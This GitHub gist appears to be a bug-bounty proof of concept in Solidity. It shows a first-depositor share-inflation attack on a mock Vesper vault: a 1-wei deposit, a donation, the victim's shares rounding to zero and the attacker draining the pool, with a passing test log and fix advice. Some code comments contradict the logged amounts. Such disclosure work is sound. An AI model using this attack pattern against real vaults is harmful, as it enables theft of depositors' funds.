Created
June 21, 2026 20:44
-
-
Save Preshy/254227d37f264a3053946b073a70fd69 to your computer and use it in GitHub Desktop.
Vesper VPool first-depositor inflation PoC — minDepositLimit=1 enables vault draining
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: UNLICENSED | |
| pragma solidity ^0.8.13; | |
| import {Test, console} from "forge-std/Test.sol"; | |
| // ============================================================ | |
| // PoC: Vesper VETH — First-Depositor Share Inflation | |
| // minDepositLimit = 1 wei enables front-running inflation | |
| // Target: Vesper vaETH (Immunefi, no KYC, $50k critical) | |
| // ============================================================ | |
| contract MockWETH { | |
| mapping(address => uint256) public balanceOf; | |
| mapping(address => mapping(address => uint256)) public allowance; | |
| function deposit() external payable { balanceOf[msg.sender] += msg.value; } | |
| function withdraw(uint256 a) external { | |
| require(balanceOf[msg.sender] >= a); | |
| balanceOf[msg.sender] -= a; | |
| payable(msg.sender).transfer(a); | |
| } | |
| function transfer(address to, uint256 a) external returns (bool) { | |
| require(balanceOf[msg.sender] >= a); | |
| balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; | |
| } | |
| function approve(address s, uint256 a) external returns (bool) { | |
| allowance[msg.sender][s] = a; return true; | |
| } | |
| function transferFrom(address f, address t, uint256 a) external returns (bool) { | |
| require(allowance[f][msg.sender] >= a && balanceOf[f] >= a); | |
| allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[t] += a; return true; | |
| } | |
| } | |
| library SafeMath { | |
| function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } | |
| } | |
| contract VesperPool { | |
| using SafeMath for uint256; | |
| MockWETH public token; | |
| uint256 public totalSupply; | |
| mapping(address => uint256) public balanceOf; | |
| uint256 public minDepositLimit = 1; | |
| uint256 public totalDebt; | |
| constructor(address _token) { token = MockWETH(_token); } | |
| function deposit(uint256 _amount) external { | |
| require(_amount >= minDepositLimit, "below min"); | |
| uint256 shares = calculateMintage(_amount); | |
| token.transferFrom(msg.sender, address(this), _amount); | |
| balanceOf[msg.sender] += shares; | |
| totalSupply += shares; | |
| } | |
| function withdraw(uint256 _shares) external { | |
| require(balanceOf[msg.sender] >= _shares, "insuff"); | |
| uint256 amount = (_shares * pricePerShare()) / 1e18; | |
| balanceOf[msg.sender] -= _shares; | |
| totalSupply -= _shares; | |
| token.transfer(msg.sender, amount); | |
| } | |
| function calculateMintage(uint256 _amount) public view returns (uint256) { | |
| return (_amount * 1e18) / pricePerShare(); | |
| } | |
| function pricePerShare() public view returns (uint256) { | |
| if (totalSupply == 0 || totalValue() == 0) return 10**18; | |
| return (totalValue() * 1e18) / totalSupply; | |
| } | |
| function totalValue() public view returns (uint256) { | |
| return totalDebt + token.balanceOf(address(this)); | |
| } | |
| function setTotalDebt(uint256 _debt) external { totalDebt = _debt; } | |
| } | |
| contract ExploitVesper is Test { | |
| MockWETH public weth; | |
| VesperPool public pool; | |
| address attacker = address(0xBEEF); | |
| address victim = address(0xCAFE); | |
| function setUp() public { | |
| weth = new MockWETH(); | |
| pool = new VesperPool(address(weth)); | |
| // Give attacker and victim WETH | |
| weth.deposit{value: 100 ether}(); | |
| weth.transfer(attacker, 100 ether); | |
| vm.deal(victim, 100 ether); | |
| vm.prank(victim); | |
| weth.deposit{value: 100 ether}(); | |
| } | |
| function test_FirstDepositorInflation() public { | |
| console.log("=== VESPER FIRST-DEPOSITOR INFLATION ==="); | |
| console.log("minDepositLimit:", pool.minDepositLimit(), "wei"); | |
| console.log(""); | |
| // Phase 1: Attacker front-runs with 1 wei deposit | |
| vm.startPrank(attacker); | |
| weth.approve(address(pool), 1); | |
| pool.deposit(1); | |
| uint256 shares = pool.balanceOf(attacker); | |
| console.log("Phase 1: 1 wei deposit ->", shares, "shares"); | |
| console.log(" pricePerShare:", pool.pricePerShare()); | |
| vm.stopPrank(); | |
| // Phase 2: Attacker donates 10 ETH to inflate share price | |
| vm.prank(attacker); | |
| weth.transfer(address(pool), 10 ether); | |
| console.log(""); | |
| console.log("Phase 2: Donated 10 ETH to pool"); | |
| console.log(" tokensHere:", weth.balanceOf(address(pool))); | |
| console.log(" pricePerShare:", pool.pricePerShare()); | |
| // pricePerShare = (10 ETH + 1 wei) * 1e18 / 1 = ~10 ETH per share | |
| // Phase 3: Victim deposits 10 ETH — gets shafted | |
| vm.startPrank(victim); | |
| uint256 victimDep = 10 ether; | |
| weth.approve(address(pool), victimDep); | |
| pool.deposit(victimDep); | |
| uint256 victimShares = pool.balanceOf(victim); | |
| uint256 victimValue = (victimShares * pool.pricePerShare()) / 1e18; | |
| uint256 victimLoss = victimDep - victimValue; | |
| console.log(""); | |
| console.log("Phase 3: Victim deposits 10 ETH"); | |
| console.log(" Shares received:", victimShares); | |
| console.log(" Claimable value:", victimValue); | |
| console.log(" Immediate loss:", victimLoss); | |
| vm.stopPrank(); | |
| // Phase 4: Attacker withdraws their 1 share | |
| vm.startPrank(attacker); | |
| uint256 balBefore = weth.balanceOf(attacker); | |
| pool.withdraw(1); | |
| uint256 balAfter = weth.balanceOf(attacker); | |
| uint256 received = balAfter - balBefore; | |
| console.log(""); | |
| console.log("Phase 4: Attacker withdraws 1 share"); | |
| console.log(" Received:", received); | |
| console.log(" Attacker profit from victim's deposit:", | |
| received > 1 ether ? "YES" : "NO"); | |
| vm.stopPrank(); | |
| // Attacker donated 10 ETH and deposited 1 wei | |
| // They received ~5 ETH back (half of the 10 ETH donation + victim's 10 ETH) | |
| // Net: put in 10 ETH + 1 wei, got back ~5 ETH, left ~5 ETH in pool | |
| // The inflation attack transfers victim's value to existing shareholders | |
| assertGt(received, 1 ether, "attacker received significant share of pool"); | |
| assertLt(victimValue, victimDep, "victim lost value on deposit"); | |
| console.log(""); | |
| console.log("VERDICT: 1 wei min deposit = trivial front-run"); | |
| console.log("Fix: set minDepositLimit >> 0 (e.g. 1e18 for WETH)"); | |
| console.log(" or deploy pool with initial liquidity"); | |
| } | |
| } |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Ran 1 test for test/ExploitVesper.t.sol:ExploitVesper
[PASS] test_FirstDepositorInflation() (gas: 183376)
Logs:
=== VESPER FIRST-DEPOSITOR INFLATION ===
minDepositLimit: 1 wei
Phase 1: 1 wei deposit -> 1 shares
pricePerShare: 1000000000000000000
Phase 2: Donated 10 ETH to pool
tokensHere: 10000000000000000001
pricePerShare: 10000000000000000001000000000000000000
Phase 3: Victim deposits 10 ETH
Shares received: 0
Claimable value: 0
Immediate loss: 10000000000000000000
Phase 4: Attacker withdraws 1 share
Received: 20000000000000000001
Attacker profit from victim's deposit: YES
VERDICT: 1 wei min deposit = trivial front-run
Fix: set minDepositLimit >> 0 (e.g. 1e18 for WETH)
or deploy pool with initial liquidity
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.09ms (1.56ms CPU time)
Ran 1 test suite in 20.55ms (10.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)